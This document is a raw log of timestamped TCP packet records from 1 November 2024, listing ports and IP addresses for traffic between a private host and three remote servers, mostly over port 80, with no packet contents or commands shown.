Nov 1, 2024 00:38:49.064001083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064030886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064037085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064064026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064071894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064099073 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064105034 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064131975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064137936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064167023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064199924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064203978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064222097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064234972 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064260006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064268112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064280033 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064302921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064312935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064337015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064342976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064371109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064372063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064405918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064414978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064440012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064452887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064476967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064488888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064512968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064518929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064548969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064557076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064584970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064590931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064615011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064621925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064650059 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064659119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064687014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064693928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064722061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064730883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064757109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064766884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064791918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064795017 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064826965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064831972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064860106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064870119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064898014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.064904928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.064940929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.099945068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.100003958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.100162029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.100209951 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.134722948 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.134891987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.134924889 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.134954929 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.134960890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.134985924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135013103 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135016918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135047913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135081053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135092020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135114908 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135119915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135149956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135164022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135185003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135193110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135219097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135226965 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135263920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135272980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135298014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135308027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135339975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135351896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135381937 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.135396004 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.135423899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.170053959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.170125008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.170130014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.170165062 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.170171976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.170202017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.170238018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.170239925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.170275927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171274900 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171328068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171365023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171401978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171436071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171456099 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171458960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171499014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171525002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171557903 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171569109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171595097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171610117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171653032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171668053 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171699047 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171706915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171741009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171752930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171803951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171837091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171847105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171869040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171895981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171947002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171974897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.171981096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.171999931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172030926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172058105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172066927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172074080 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172101021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172107935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172137976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172138929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172174931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172178030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172209024 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172209978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172243118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172245979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172277927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172280073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172311068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172332048 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172344923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172358990 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172374964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172388077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172410011 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172442913 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172446012 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172480106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172488928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172516108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172522068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172554016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172557116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172590017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172604084 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172625065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172637939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172660112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172697067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172703028 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172733068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172741890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172766924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172776937 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172802925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172812939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172836065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.172847986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.172877073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178693056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.178751945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178786039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.178817034 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.178828955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178852081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178872108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.178905010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178910971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.178949118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.178962946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179013014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179048061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179054976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179090977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179099083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179135084 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179141998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179168940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179174900 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179209948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179222107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179255962 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179267883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179291010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179310083 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179337025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179339886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179373980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179378986 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179409027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179425001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179460049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179462910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179495096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179568052 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179603100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179606915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179646015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179646969 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179681063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179687977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179716110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179722071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179748058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179758072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179788113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179800034 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179836035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179841995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179877996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179882050 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179915905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179919958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.179950953 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.179955006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180002928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180022955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180035114 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180042982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180069923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180075884 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180108070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180121899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180155993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180190086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180193901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180224895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180263996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180275917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180316925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180334091 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180365086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180413961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180418015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180444002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180452108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180469036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180488110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180494070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180524111 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180557966 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180572033 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180593014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180596113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180627108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180630922 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180661917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180669069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180696964 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180696964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180732965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180738926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180766106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180773020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180799961 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180804968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180835009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180849075 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180870056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180903912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180912971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180937052 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180938959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180952072 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.180974007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.180978060 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181009054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181013107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181042910 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181046009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181077957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181080103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181112051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181116104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181147099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181158066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181180000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181200027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181214094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181215048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181250095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:49.181253910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:49.181292057 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:51.287472010 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:51.287535906 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:51.287616968 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:51.288640022 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:51.288667917 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:51.653537989 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:51.653836012 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:51.660312891 CET	80	49881	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:51.660382032 CET	80	49943	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:51.660453081 CET	49881	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:51.660492897 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:51.665402889 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:51.671926975 CET	80	49943	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:51.897165060 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:51.897239923 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:51.899245024 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:51.899255037 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:51.899487972 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:51.948617935 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.023410082 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.023452997 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.023523092 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.601097107 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.601198912 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.601284981 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.601676941 CET	80	49943	185.215.113.43	192.168.2.6
Nov 1, 2024 00:38:52.601735115 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:38:52.602897882 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.602911949 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.602924109 CET	49939	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.602930069 CET	443	49939	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.617500067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:52.617754936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:52.622577906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:52.622690916 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:52.622715950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:52.622771025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:52.622893095 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:52.628042936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:52.659054995 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.659087896 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:52.659181118 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.659424067 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:52.659436941 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.266556978 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.266674995 CET	49949	443	192.168.2.6	188.114.96.3
